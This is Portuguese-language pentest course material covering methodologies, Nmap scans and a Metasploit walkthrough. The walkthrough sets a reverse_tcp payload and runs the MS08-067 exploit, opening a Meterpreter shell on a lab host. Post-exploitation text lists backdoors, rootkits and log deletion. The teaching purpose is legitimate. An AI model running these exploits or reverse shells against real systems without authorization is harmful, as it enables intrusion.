Você está na página 1de 35

TESTE DE INVASÃO EM REDES E

SISTEMAS

EAD Ethical erSecurity


Este material faz parte do livro “Teste de Invasão em Redes e Sistemas” e está disponível na
disciplina de mesmo nome em nossa Pós-graduação em Ethical Hacking e CyberSecurity. Foi
escrito pelo nosso Prof. Esp. Diego Macêdo. Você pode saber mais sobre a pós entrando em
contato por e-mail: contato@uniciv.com.br ou telefone: 0800 006 4224

1
SUMÁRIO
1. Introdução ao Teste de Invasão ......................................................................................... 3
Conceitos básicos ................................................................................................................... 3
Pré-Compromisso ................................................................................................................... 3
Reconhecimento .................................................................................................................... 4
Escaneamento ........................................................................................................................ 4
Exploração .............................................................................................................................. 5
Pós-Exploração ....................................................................................................................... 5
Relatório ................................................................................................................................. 5
2. Metodologias ...................................................................................................................... 7
OWASP Testing Guide v4 ....................................................................................................... 7
NIST 800-115 .......................................................................................................................... 8
PCI-DSS ................................................................................................................................... 9
PTES ...................................................................................................................................... 10
3. Nmap ................................................................................................................................ 12
Identificando hosts ............................................................................................................... 12
4. Metasploit......................................................................................................................... 17
Visão geral ............................................................................................................................ 17
5. Nessus ............................................................................................................................... 26
Visão geral ............................................................................................................................ 26

2
1. INTRODUÇÃO AO TESTE DE INVASÃO

Conceitos básicos

Teste de invasão/pentetração ou pentest é a simulação de ataques reais em ativos para


avaliar os riscos associados a possíveis brechas de segurança. Em um pentest, diferente do
teste de vulnerabilidade, o analista não só descobre as vulnerabilidades que podem ser
usadas pelos invasores, mas também exploram as vulnerabilidades, onde possivelmente,
para avaliar o que os atacantes ganhariam após uma exploração com sucesso.

O escopo de um pentest vai variar de cliente para cliente. Alguns deles terão uma postura
excelente em segurança da informação, enquanto outros terão vulnerabilidades que
permitirão os atacantes invadir o perímetro e ganhar acesso aos sistemas internos.

Os testes podem ser feitos em:

 Redes
 Infraestrutura
 Aplicações / Sistemas:
 Cliente / Servidor
 Web
 Mobile

Pré-Compromisso

Antes do pentest iniciar, o analista faz um pré-compromisso com o cliente para garantir que
todos estão alinhados sobre o teste que será realizado. Falha na comunicação entre o
analista e o cliente, que espera um simples escanner de vulnerabilidade, poderia levar a uma
situação desagradável com um teste mais intrusivo. É importante fazer alguns
questionamentos:

 Garantir que estão todos alinhados sobre os testes;


 Qual é o objetivo do pentest?
 Quais os motivos os levaram a contratar este serviço?
 O que é mais importante para o cliente?
 Qual é o escopo?
 Existem algum dispositivo sensível que deve-se ter mais cuidado?
 Você tem permissão para identificar vulnerabilidades ou poderá executar exploits
que talvez causem indisponibilidade?
 Qual é a janela de testes?
 Quem será o ponto de contato em caso de problemas?
 Foi assinado um contrato ou algo formalizando o teste?

3
Reconhecimento

Esta é a próxima fase, onde você vai analisar de forma livre as fontes de informações sobre o
seu alvo, utilizando um processo chamado Open Source Intelligence (OSINT). Você também
pode começar a utilizar ferramentas como port scanners para ter uma ideia de quais
sistemas estão voltados para internet ou redes internas, assim como saber quais softwares
os dispositivos estão rodando neles. Obter informações sobre os alvos que você quer atacar:

 Quais os sistemas que o nosso alvo utiliza?


 Eles estão devidamente atualizados com as versões?
 Existe algum firewall ou proxy na rede?
 Como é estruturação da rede de servidores e dos usuários?
 Quais sites costumam visitar?
 Quais os parceiros de negócios deles?
 Existe algum diretor da organização viajando?
 Tem servidores de e-mail, web, ftp, etc. na empresa?

Nesta etapa, pode-se usar métodos passivos para ter o mínimo de interação e evitar a
detecção. Posteriormente, pode-se usar os métodos ativos para interagir diretamente com
os alvos.

Escaneamento

Nesta etapa, começamos a descobrir ativamente as vulnerabilidades para determinar quão


sucedido será explorar as vulnerabilidades poderão ser. Falhas ao explorar certas
vulnerabilidades pode causar um crash no sistema, desligar alertas de Intrusion Detection
System (IDS), e por outro lado arruinar as suas chances de fazer uma exploração com
sucesso.

Sempre durante esta fase, os pentesters rodam escaneres de vulnerabilidades, os quais


possuem um banco de dados de vulnerabilidades conhecidas para fazer diversas checagens
e identificar possíveis vulnerabilidades presentes no sistema do cliente. Apesar dos
escaneres de vulnerabilidades serem ferramentas poderosas, elas não dispensam o
pensamento crítico, então também devemos realizar análises manuais e verificar os
resultados por nós mesmos nesta fase. A intenção é descobrir ativamente mais informações
e vulnerabilidades para saber qual é o melhor caminho para os ataques serem realizados;

Algumas informações extras:

 Hosts ativos;
 Portas e serviços;
 SO;
 Tipo de dispositivo;
 Port scanners;

4
 Mapeamento da rede;
 Enumeração de credenciais;
 Análise de vulnerabilidades;

Exploração

Aqui podemos rodar alguns exploits em sistemas vulneráveis que descobrimos (as vezes
utilizando ferramentas como o Metasploit) na tentativa de acessar o sistema do cliente.
Como veremos adiante, algumas vulnerabilidades serão fáceis de explorar, como logar
utilizando senhas padrões do sistema.

Pós-Exploração

Durante a fase de pós-exploração, coletamos informações sobre o sistema atacado, olhamos


por arquivos importantes, tentamos elevar os privilégios onde forem necessários, e assim
por diante. Por exemplo, nós podemos baixar a base de hashes das senhas e ver se
conseguimos reverte-los ou usar para acessos adicionais aos sistemas. Podemos utilizar
ainda uma máquina explorada para atacar sistemas não disponíveis antes para nós,
simplesmente pivotando dentro deles.

O atacante vai tentar manter o acesso ao sistema para que ele possa voltar futuramente de
forma mais fácil ao ambiente comprometido. Ele tenta “proteger” o sistema para evitar que
seja atacado por outros invasores para manter a exclusividade. Podendo usar:

 Backdoors;
 Rootkits;
 Trojans;
 Pode usar a máquina invadida para fazer ataque lateral;
 Eventualmente, ele poderá excluir ou alterar seus rastros (ex.: logs) para que não seja
detectado e pego;

Relatório

A fase final do teste de invasão é o relatório, pois iremos juntar tudo o que foi encontrado
durante os testes e que merecem atenção do cliente. Contaremos a ele o que estão fazendo
corretamente, onde eles necessitam melhorar sua postura de segurança, como você entrou,
o que você achou e as recomendações para corrigir os problemas.

Escrever um bom relatório de penteste é uma arte que necessita de prática. Você pode
precisar resumir seus achados de forma clara para todos, desde o pessoal da TI responsáveis
por ajustar as vulnerabilidades, até a alta gestão que contratam os auditores externos. Por
exemplo, se um não-técnico ler algo como “E então usei um MS08-067 para pegar uma

5
shell” ele poderá não entender. Uma forma melhor de dizer isto seria dizer que dados
sensíveis e privados poderiam ser acessados ou modificados. Uma frase como “Fui capaz de
ler seu e-mail” vai causar efeito em qualquer um. O relatório do penteste deve incluir tanto
um sumário executivo e um relato técnico. Veja um modelo de estrutura simples:

 Resumo executivo – escrita não técnica;


 Pontos fortes e pontos de melhoria;
 Vulnerabilidades identificadas;
 Recomendações de correção;
 Conclusão;

Veja o link (https://github.com/juliocesarfort/public-pentesting-reports) para obter algumas


ideias e elaborar seu próprio relatório. Não existe uma fórmula mágica, mas gosto de pensar
que você deve escrever de uma forma que explique tudo o suficiente para mostrar o
potencial dos problemas apontados e de uma forma simples.

6
2. METODOLOGIAS

OWASP Testing Guide v4

Mais informações podem ser encontradas em


https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents

O objetivo deste projeto é coletar todas as possíveis técnicas de teste, explicar essas técnicas
e manter o guia atualizado. O método OWASP Web Application Security Testing é baseado
na abordagem black-box. O testador não sabe nada ou tem muito pouca informação sobre o
aplicativo a ser testado.

O modelo de teste consiste em:

 Testador: quem realiza as atividades de teste


 Ferramentas e metodologia: o núcleo deste projeto do Guia de teste
 Aplicação: A caixa preta para testa.

O teste é dividido em duas fases:

Fase 1 - Modo passivo


No modo passivo, o testador tenta entender a lógica do aplicativo e joga com o aplicativo.
Ferramentas podem ser usadas para coleta de informações. Por exemplo, um proxy HTTP
pode ser usado para observar todas as solicitações e respostas HTTP. No final desta fase, o
testador deve entender todos os pontos de acesso (portais) do aplicativo (por exemplo,
cabeçalhos HTTP, parâmetros e cookies). A seção de Coleta de Informações explica como
executar um teste de modo passivo.

Fase 2 – Modo ativo

Nesta fase, o testador começa a testar usando a metodologia descrita. O conjunto de testes
ativos foi dividido em 11 subcategorias para um total de 91 controles:

1) Information Gathering
2) Configuration and Deployment Management Testing
3) Identity Management Testing
4) Authentication Testing
5) Authorization Testing
6) Session Management Testing
7) Input Validation Testing
8) Error Handling
9) Cryptography
10) Business Logic Testing
11) Client Side Testing

7
NIST 800-115

O “Technical Guide to Information Security Testing and Assessment” tem o objetivo de


prover diretrizes para as organizações conduzirem testes e avaliações de segurança,
analisando os achados e desenvolvendo estratégias de mitigação. Ele fornece uma visão
geral sobre avaliações de segurança da informação, incluindo políticas, papéis e
responsabilidades, metodologias e técnicas. Também fornece uma descrição detalhada de
várias técnicas de exame técnico, incluindo revisão de documentação, revisão de log, sniffing
de rede e verificação de integridade de arquivo.

Existem algumas seções que descreve várias técnicas para identificar alvos e analisá-los
quanto a possíveis vulnerabilidades (ex.: network discovery e análise de vulnerabilidades),
explica as técnicas comumente usadas para validar a existência de vulnerabilidades, como o
teste de invasão e password cracking, apresenta uma abordagem e processo para planejar
uma avaliação de segurança.

Figura 1 Fases do Teste de Invasão no NIST 800-115

Discute os fatores que são fundamentais para a execução das avaliações de segurança,
incluindo a coordenação, a própria avaliação, a análise e o tratamento de dados, apresenta
uma abordagem para relatar os resultados da avaliação e fornece uma visão geral das
atividades de correção.

8
Figura 2 Etapas da fase de ataque com Loopback para a fase de descoberta

Esta metodologia pode ser vista em:


https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf

PCI-DSS

A metodologia do PCI DSS para pentest chama-se “Penetration Testing Guidance”. É um


documento com informações suplementares sobre como atender ao requisito 11.3 do PCI
DSS:

 Componentes do teste de invasão;


 Qualificação do pentester;
 Metodologia do pentest;
 Como elaborar o relatório;

Escopo do PCI DSS é testar os sistemas críticos, ou seja, os que estão envolvidos na
transmissão, processamento ou armazenamento de dados de cartão de crédito. Tudo o que
for parte do escopo, o analista deve realizar os devidos testes para garantir a segurança
deste ambiente.

O PCI DSS existe que o pentester deve possuir uma certificação conhecida (CEH, OSCP, GPEN,
GWAPT, GXPN, etc.) e ter experiências anteriores com este tipo de serviço.

A metodologia é composta pelas seguintes fases:

 Pré-Compromisso: Escopo, documentação, regras (janela, comunicação, etc.),


ambientes de terceiros / Cloud, critérios de sucesso, revisão das ameaças e

9
vulnerabilidades anteriores, evitar a interferência de appliances de segurança
durante os scans;
 Teste de Invasão: Camada de aplicação, camada de rede, validar a segmentação da
rede, o que fazer quando encontrar dados de cartões, pós-exploração;
 Pós-Compromisso: Melhores práticas, retestar as vulnerabilidades identificadas,
limpar o ambiente;
 Relatório: Vulnerabilidades identificadas, estrutura do documento, considerações
para reteste e relatório, retenção das evidências.

Esta metodologia pode ser vista em:


https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2
015.pdf

PTES

A metodologia “Penetration Testing Execution Standard” consistema de 7 seções principais:


 Interações Pré-Compromisso: Questionamentos sobre escopo, janela de testes,
objetivos, comunicação com o cliente, regras, etc;
 Coleta de informações: OSINT, footprinting, identificar mecanismos de proteção;
 Modelagem de ameaças: Análise dos ativos de negócio (políticas, normas, outros
dados…). Análise dos processos de negócio, análise de ameaças;
 Análise de Vulnerabilidades: Ativa (automatizado, redes, aplicações…), passiva
(metadata e monitoramento de tráfego), validação e pesquisas (documentos de
hardening e configurações, bases de exploits…);
 Exploração: Contra-medidas, evasão, simulação de ataque, perspectiva de zero-day,
customização de exploits;
 Pós-Exploração: Rever as regras de compromisso, análise da infraestrutura, coleta de
informações sensíveis, identificar alvos de alto valor, mapear possíveis caminhos de
vazamento de informações, persistência, ataque lateral, limpeza do ambiente;
 Relatório: Estrutura do relatório.
Existem também cinco anexos para referência futura.
Cada seção oferece uma discussão aprofundada dos fatores que um pentester profissional
deve considerar durante essa fase específica de um compromisso. Ele abrange tudo, desde
monitoramento de frequência de RF até vigilância física de sites, até mineração e pesquisa
de alvos para phishing ou outros ataques de engenharia social.
Mais importante, explica como interpretar alguns dos resultados que podem ser
descobertos e como trabalhar para explorar as vulnerabilidades encontradas.
O documento contém links para recursos e ferramentas que podem ser usados em cada fase
também. Por exemplo, links úteis para sites de pesquisa de registro de empresas estaduais
são incluídos para realizar pesquisas em segundo plano no destino.
Existem também lacunas consideráveis nas informações disponíveis. Grande parte da seção
de exploração aguarda expansão, embora técnicas gerais sejam delineadas. Alguns ataques

10
específicos são definidos, mas os detalhes são frequentemente datados e de utilidade
limitada.
Esta metodologia pode ser vista em: http://www.pentest-
standard.org/index.php/Main_Page

11
3. NMAP

Identificando hosts

Nmap é uma ferramenta muito conhecida pelo o que faz: port scanning. Seu manual pode
ser um pouco assustador devido aos diversos comandos e a capacidade que esta ferramenta
tem de trazer informações sobre um host.
Firewalls com sistemas de detecção e prevenção de intrusão podem identificar os pacotes
enviados por ele, sendo assim você não conseguirá obter muitos resultados. Você pode ser
contratado para fazer um pentest em um range de hosts e não conseguir identificar
nenhuma máquina online, e isto provavelmente será porque você está sendo bloqueado por
um firewall. Por outro laod, o resultado de seu escaneamento acusará que as máquinas
estão respondendo e achará diversas portas abertas.
SYN Scan
Começaremos com um SYN scan contra um host. Um SYN scan é um escaneamento TCP que
não finaliza o handshake. Uma conexão TCP inicia com um handshake de 3 vias: SYN; SYN-
ACK; ACK. Veja abaixo:

Figura 3 Estabelecimento de conexão TCP - 3 way handshake

É um SYN scan, o Nmap envia o SYN e espera pelo SYN-ACK se a porta estiver aberta, mas
nunca enviará o ACK para completar a conexão. Se o pacote SYN não receber uma resposta
SYN-ACK, a porta não está disponível, ou por estar fechada ou a conexão está sendo filtrada.
Desta forma, o Nmap verifica se a porta está aberta sem completar a conexão com a
máquina alvo. A sintaxe para o SYN scan é com a flag -sS
Vejamos um exemplo do uso do SYN scan e ao mesmo tempo vamos incluir a flag -o a qual é
a opção de output do resultado do Nmap em um arquivo. A opção -o diz ao Nmap para logar
todo o resultado em alguns formatos, como: .nmap; .gnmap (greppable Nmap) e .xml. O
formato .nmap é fácil de visualizar em tela, igual ao resultado obtido durante o scan. A saída
do tipo .gnmap (greppable Nmap) é formatado para ser usado com o comando grep para

12
buscar informações específicas. XML é um formato padrão usado para importar o resultado
em outras ferramentas.

Vejamos um exemplo de SYN scan:


nmap -sS scanme.nmap.org
Starting Nmap 7.12 ( https://nmap.org ) at 2016-XX-XX XX:XX Hora oficial do Brasil
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.14s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
21/tcp open ftp
1024/tcp closed kdm
1863/tcp closed msnp
2048/tcp closed dls-monitor
6901/tcp closed jetstream

Nmap done: 1 IP address (1 host up) scanned in 25.47 seconds


Como pode ser visto, o Nmap retorna as portas que foram encontradas abertas e fechadas.
Veremos nas próximas postagens como prosseguir com as informações que se obtêm no
escaneamento de portas. É muito provável que algumas portas que você encontre aberta
tenha vulnerabilidades. A porta aberta não significa que ela tenha vulnerabilidade, mas isto
nos deixa uma possibilidade que um software vulnerável possa estar rodando nas portas
identificadas. Pode ser que você encontre portas abertas que são de serviços de internet,
como um servidor Web (porta 80), e outra porta local (139) que é de RPC. Elas podem ter
softwares exploráveis ouvindo nestas portas que não tem permissão através do firewall, e
pode existir software vulnerável rodando localmente no host, mas não será possível explorá-
los diretamente através da rede, com exceção do que está exposto para web. Um
escaneamento básico no Nmap nos ajuda a focar nossos esforços durante o pentest.
Escaneando versões dos softwares
O SYN scan realizado acima foi furtivo (stealthy), mas não disse muita coisa sobre os
softwares que estão rodando nas portas que estão escutando. Comparado com a versão
detalhada de informações que se obtêm usando Netcat em uma conexão em alguma porta,
o resultado do SYN scan é pouco informativo. Nós podemos utilizar um scan TCP completo
(nmap -sT) ou podemos ir um pouco além e usar o scan de versão do Nmap (nmap -sV) para
coletar mais dados. Com as versões exibidas na imagem abaixo, o Nmap completa a conexão
e então tenta determinar que software está rodando e, se possível, a versão, usando
técnicas como obtenção de banners.

13
nmap -sV 192.168.1.3
Starting Nmap 7.12 ( https://nmap.org ) at XXXX-XX-XX XX:XX Hora oficial do Brasil
Nmap scan report for 192.168.1.3
Host is up (0.071s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp OpenBSD ftpd 6.4 (Linux port 0.17)
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
139/tcp filtered netbios-ssn
443/tcp open http Apache httpd 2.4.7
3306/tcp open mysql MySQL 5.5.37-0ubuntu0.14.04.1
5800/tcp open vnc-http x11vnc
5900/tcp open vnc VNC (protocol 3.7)
Service Info: Hosts: TSP-WWW-DOD, 192.168.1.3; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at


https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.30 seconds
Veja que o resultado é diferente e traz mais informações sobre o nosso alvo. Além de saber
quais serviços estão rodando nele, podemos descobrir a versão aproximada (as vezes exata).
Isto servirá para a próxima etapa do pentest, onde procuramos as versões dos softwares por
possíveis vulnerabilidades.
É importante ter em mente que o Nmap pode trazer a versão errada em alguns casos, pois
um software pode ser atualizado e o seu banner não ser alterado no patch de correção, mas
pelo menos a versão informada nos dá uma pista para pesquisarmos mais a fundo.
Escaneamento UDP
Tanto o SYN scan e o Version scan são escaneamentos TCP que não enviam requisições para
as portas UDP. Devido ao UDP ser sem conexão, o escaneamento lógico é um pouco
diferente.
Em um UDP scan (nmap -sU), o Nmap envia pacotes UDP para uma porta. Dependendo da
porta, o pacote enviado é um protocolo específico. Se ele receber uma resposta, a porta é
considerada aberta. Se a porta estiver fechada, o Nmap receberá uma mensagem do tipo
“ICMP Port Unreachable”. Se o Nmap não receber nenhuma resposta, então a porta está
aberta e o programa que está ouvindo não responde a consulta do Nmap ou o tráfego está
sendo filtrado.

14
Assim, o Nmap não consegue sempre distinguir enre uma porta UDP aberta e uma que
esteja filtrada pelo firewall. Veja a imagem abaixo:
nmap -sU -F 192.168.1.3
Starting Nmap 7.12 ( https://nmap.org ) at XXXX-XX-XX XX:XX Hora oficial do Brasil
Warning: 192.168.1.3 giving up on port because retransmission cap hit (6).
Nmap scan report for 192.168.1.3
Host is up (0.068s latency).
Not shown: 55 closed ports, 44 open|filtered ports
PORT STATE SERVICE
5353/udp open zeroconf

Nmap done: 1 IP address (1 host up) scanned in 55.40 seconds


Escaneando uma porta específica
Por padrão, Nmap escaneia somente as 1.000 primeiras portas consideradas mais
importantes, não as 65.535 portas TCP e UDP possíveis. O padrão de escaneamento do
Nmap irá pegar os serviços mais comuns rodando, mas em alguns casos ele não pegaá
alguma porta. Para escanear uma porta específica, use o parâmetro -p. Por exemplo, para
escanear as portas 80 no alvo:
nmap -p 80 -T4 192.168.1.3
Starting Nmap 7.12 ( https://nmap.org ) at XXXX-XX-XX XX:XX Hora oficial do Brasil
Warning: 192.168.1.3
Nmap scan report for 192.168.1.3
Host is up (0.067s latency).
PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 5.49 seconds


É importante ter em mente que ao escanear alguns serviços, eles podem não estar
preparados para receber os inputs enviados pelo Nmap, o que pode causar um travamento
no serviço ou simplesmente dar um crash. Embora não é algo que desejamos que isto
aconteça durante um pentest, sempre existe a possibilidade de acontecer quando se fala de
computadores. Serviços de sistemas SCADA são particularmente notórios para este tipo de
comportamento. Você sempre tem que explicar que existe essa possibilidade para seu
cliente. Quando trabalhamos com computadores, não temos garantias.

15
Voltaremos a utilizar o Nmap nas próximas postagens quando usarmos os Nmap Scripting
Engine (NSE) para aprender informações mais detalhadas sobre vulnerabilidade do nosso
sistema alvo antes de começar a explorá-lo.
Para facilitar a consulta de possíveis comandos do Nmap, montei o mapa mental:
https://www.diegomacedo.com.br/mapa-mental-de-redes-e-seguranca-da-informacao-
scanner-nmap/

16
4. METASPLOIT

Visão geral

Lançado pela primeira vez em 2003, Metasploit alcançou status na comunidade de


segurança. Embora Metasploit agora seja de propriedade da empresa de segurança Rapid7,
uma edição de código aberto está ainda disponível, com o desenvolvimento em grande
parte impulsionado pela comunidade de segurança.

A arquitetura modular e flexível do Metasploit ajuda os desenvolvedores de forma eficiente


a criar exploits que trabalham de acordo com as novas vulnerabilidades quando são
descobertas. Como você verá, Metasploit é intuitiva e fácil de usar, e oferece uma forma
centralizada para executar código confiável de exploração que foi analisado com precisão
pela comunidade de segurança.

Exploit – É o meio por onde um atacante tira vantagem da falha do sistema, aplicação, ou
serviço para atacá-los e obter um resultado que não era esperado pelo desenvolvedor (ex.:
buffer overflow, SQL injection, erros de configuração, etc.);

Payload – É o código que queremos que o sistema execute (ex.: reverse shell que vai criar
uma conexão da máquina alvo para o atacante como um prompt do Windows);

Shellcode – É um conjunto de instruções, normalmente em assembly, usados como o


payload quando a exploração ocorre. Normalmente é enviado um command ou Meterpreter
shell;

Module – É um pedaço de software que pode ser usado pelo MSF para executar uma
atividade específica (ex.: exploit module para executar ataques, auxiliary module para
escaneamento ou enumeração);

Listener – É um componente do MSF que espera uma conexão de entrada (ex.: após uma
máquina ser atacada, ela pode chamar a máquina atacante através da internet. Este listener
vai ajustar a conexão).

Por que usar o Metasploit?

Digamos que você descobriu uma vulnerabilidade no ambiente de seu cliente usando o
sistema Windows XP no 192.168.20.10 e está faltando Microsoft boletim de segurança
MS08-067. Como um pentester, é sua função explorar esta vulnerabilidade, se possível, e
avaliar o risco de compromete-lo.

Uma abordagem pode ser a de criar, em seu laboratório um sistema Windows XP, que
também está faltando este patch, tentar disparar a vulnerabilidade, e desenvolver um
trabalho exploração. Mas o desenvolvimento de exploits na mão leva tempo e habilidade, e
a janela de oportunidade para o seu pentest pode estar fechando.

17
Você poderia, em vez disto, procurar o código que explora a vulnerabilidade na Internet.
Sites como o Packet Storm Security, SecurityFocus e Exploit-DB fornecem repositórios de
exploits conhecidos. Mas esteja avisado: Nem todos os códigos de exploits públicos fazem o
que ele deveriam fazer. Alguns exploits podem destruir o sistema alvo ou até mesmo atacar
seu próprio sistema, em vez do alvo. Você deve estar sempre vigilante ao executar qualquer
coisa que você encontrar on-line e ler o código com cuidado antes de confiar nele. Além
disso, os exploits públicos que você encontrar pode não atender às suas necessidades logo
de cara. Você pode precisar fazer algum trabalho adicional para portá-las para o seu
ambiente de pentest.

Seja desenvolver um exploit do zero ou usar um público como base, ainda vai precisar de ter
o exploit para trabalhar em seu pentest. Nosso tempo provavelmente será melhor gasto em
tarefas que são difíceis de automatizar e, felizmente, podemos usar Metasploit para fazer
exploração de vulnerabilidades conhecidas, tais como a MS08-067 de forma rápida e sem
atrasos.

Iniciando o Metasploit

No Kali Linux, o Metasploit pode iniciar em qualquer lugar no sistema. Mas antes de
começar Metasploit, você vai querer começar o banco de dados PostgreSQL, que Metasploit
vai usar para acompanhar o que você faz.

root@kali:~# service postgresql start

Agora você está pronto para iniciar o serviço Metasploit. Este comando cria um usuário do
PostgreSQL chamado msf3 e um banco de dados correspondente para armazenar nossos
dados. Ele também começa a chamada de procedimento remoto do Metasploit (RPC) do
servidor e servidor web.

Criar e iniciar o BF do MSF: msfdb init

Verificando se está ok dentro do msfconsole: db_status

Existem várias interfaces para usar Metasploit. Vamos usar msfconsole, o console baseado
em texto Metasploit e Msfcli, a interface de linha de comando. De qualquer interface pode
ser usada para executar módulos Metasploit. Inicie o console inserindo msfconsole.

root@kali:~# msfconsole

Não se assuste se msfconsole parecer travar por um ou dois minutos; O Metasploit está
carregando os módulos na hora. Assim que terminar, será exibida uma arte ASCII, uma lista
de versão e outros detalhes, e um prompt msf>.

18
Figura 4 Msfconsole

Veja que ao iniciar o Metasploit, ele informa a quantidade de exploits, módulos auxiliares e
outras coisas. Ao longo do tempo isto vai crescendo de acordo com que novas
vulnerabilidades são descobertas e a comunidade desenvolve.

Caso você tenha dúvidas sobre o que fazer dentro da ferramenta, você pode consultar o
help. Caso queira mais detalhes sobre um comando específico, use o help <comando>.

msf > help route

Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.

The default comm is Local...

Procurando por módulos

Após realizar uma análise de vulnerabilidade e identificar mais detalhes sobre as falhas do
sistema, podemos partir para a busca no Metasploit para encontrar um módulo que explore
esta vulnerabilidade em particular. Temos algumas opções. Normalmente, uma simples
busca no Google vai encontrar o que você precisa, mas Metasploit também tem um banco

19
de dados on-line de módulos e uma função embutida de pesquisa que você pode usar para
pesquisar pelo módulo correto.

O banco de dados on-line de módulos

Você pode usar a página de pesquisa Metasploit para combinar módulos Metasploit com as
vulnerabilidades pelo número Common Vulnerabilities and Exposures (CVE), Open Sourced
Vulnerability Database (OSVDB) ID, Bugtraq ID ou Microsoft Security Bulletin, ou você pode
pesquisar o texto completo sobre as informações do módulo para uma string.

Figura 5 Rapid7 – Metasploit Module Database

Busca embutida

Você também pode usar a busca embutida no Metasploit para achar o módulo pelo nome
usando o comando search <string>:

Figura 6 Metasploit – Busca por módulo

20
Após encontrar um módulo que desejamos, podemos obter mais detalhes sobre ele usando
o comando info <nome do módulo>, veja:

Figura 7 Metasploit – Comando info

Após achar o módulo que deseja usar, você usa o comando use <nome do módulo>

Figura 8 Metasploit – Comando use

Configurando as opções do módulo

Após escolher qual módulo iremos usar, temos que definir alguns parâmetros no Metasploit.
Para saber quais parâmetros são obrigatórios e opcionais para definirmos, antes de executá-
lo, devemos usar o comando show options.

21
Figura 9 Metasploit – Comando show options

Alguns parâmetros já vêm com valores padrões. Perceba também que existe uma coluna
“Required” que informa quais campos são obrigatórios e precisam de um valor. No caso do
nosso exploit escolhido, precisamos definir os campos SRVHOST e SRVPORT, já o SSL, SSLCert
e URIPATH são opcionais. Veremos cada um deles abaixo e outros possíveis campos que
podem aparecer, dependendo de cada módulo que você escolher.

SRVHOST

É a máquina que estará esperando pelos dados (ouvindo). Deve inserir um endereço de uma
máquina local ou 0.0.0.0. Neste caso, seria a sua máquina atacante.

SRVPORT

A porta local que está aberta ouvindo as informações.

SSL

Informe se será necessário negociar uma conexão SSL

SSLCert

O caminho para o certificado personalizado que foi gerado. Por padrão ele gera um
aleatoriamente.

URIPATH

A URI usada para este exploit. Por padrão ele gera um aleatoriamente.

RHOST

Outros exploits podem utilizar este parâmetro, o que significa qual é o host alvo que
desejamos fazer o exploit. Este parâmetro é obrigatório (se o exploit escolhido tiver), pois é
nele quem você deve apontar para que o Metasploit possa atacar.

RPORT

22
Refer-se a porta da máquina alvo. Dependendo do exploit escolhido, ele deverá vir com uma
porta padrão. Se for um exploit que utiliza a Web, vai pela porta 80. Caso seja um exploit
para o serviços SMB do Windows, será pela porta 445, e assim por diante.

Exploit Target

Na imagem exibida, temos que o parâmetro está definido como 0 Automatic Targeting.
Neste caso, ele serve para definir qual é o tipo e versão do sistema operacional. Você pode
usar o comando show targets para listar quais as opções disponíveis no exploit. Após listar e
você identificar qual é o S.O. e a versão, podemos usar o comando set target <número>.

Caso você não saiba com certeza qual é a versão do sistema operacional, você pode deixar
que o Metasploit faça o trabalho de reconhecimento e escolha a melhor opção de forma
automática baseada no resultado.

Payloads (ou Shellcode)

Baseado no que lemos após o comando show options, definimos todos os parâmetros para
usar o exploit, mas ainda precisamos informar ao Metasploit o que ele deve fazer de fato, e
para isto devemos usar os payloads. Estão disponíveis diversos payloads na ferramenta, que
vão desde simples comandos do Windows até o Metasploit Meterpreter. Escolha um
payload compatível e o Metasploit criará uma string do exploit, incluindo o código para
disparar a vulnerabilidade e o payload para rodar depois que o exploit for bem sucedido.

Procurando por payloads compatíveis

Use o comando show payloads para que ele possa exibir uma lista dos que são compatíveis.
Caso você esqueça de definir um payload, o Metasploit irá utilizar o que estiver marcado
como padrão, o que não garante que vai funcionar com o seu sistema alvo. É importante que
você defina manualmente qual payload vai usar.

Figura 10 Metasploit – show payloads

23
Para definir qual payload você usará, envie o comando set payload <nome do payload com
endereço>. Por exemplo:

msf exploit(ms16_051_vbscript) > set payload windows/x64/shell/reverse_tcp

payload => windows/x64/shell/reverse_tcp

Executando o exploit

Para enviarmos o nosso exploit com o payload, precisamos usar o comando exploit. Após
isso você verá um resultado semelhante a este, caso seja bem sucedido.

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.20.9:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 3 - lang:English

[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 192.168.20.10

[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1334) at

2015-08-31 07:37:05 -0400

meterpreter >

Neste exemplo, foi possível obter uma sessão com o meterpreter (meta-interpreter), que é
uma parte importante do Metasploit. Com ele, você pode fazer tudo na sua máquina alvo
através de comando.

Para sair do meterpreter, use o comando exit.

Tipos de shells

Na lista de payloads compatíveis mostrado no show payloads, você vê uma gama de opções,
incluindo shells de comando, Meterpreter, uma speech API ou a execução de um único
comando do Windows. Meterpreter ou outras formas de shells, acabam sendo de duas
categorias: bind e reverso (reverse).

Bind shells

24
Uma instrução de bind shell diz para a máquina alvo para abrir uma linha de comando e
escutar na porta local. A máquina atacante então se conecta na máquina alvo na porta que
está aberta. Entretanto, com o advento dos firewalls, a efetividade dos bind shells tem caído
porque firewall de correlação bloqueará o tráfego para portas aleatórias como a 4444.

Reverse shells

Um shell reverso, por outro lado, ativamente envia uma conexão de volta para a máquina
atacante, a qual está esperando por uma conexão de entrada. Neste caso, nossa máquina
atacante está com uma porta aberta e escutando por uma conexão vinda da nossa máquina
alvo, porque é uma conexão reversa, e é mais provável de ser feita através de um firewall.

25
5. NESSUS

Visão geral

O Nessus é da Tenable Security’s é um dos escaneres de vulnerabilidades mais usados


comercialmente, apesar de vários fornecedores proverem produtos comparáveis. O banco
de dados do Nessus inclui vulnerabilidades de diversas plataformas e protocolos, e seu
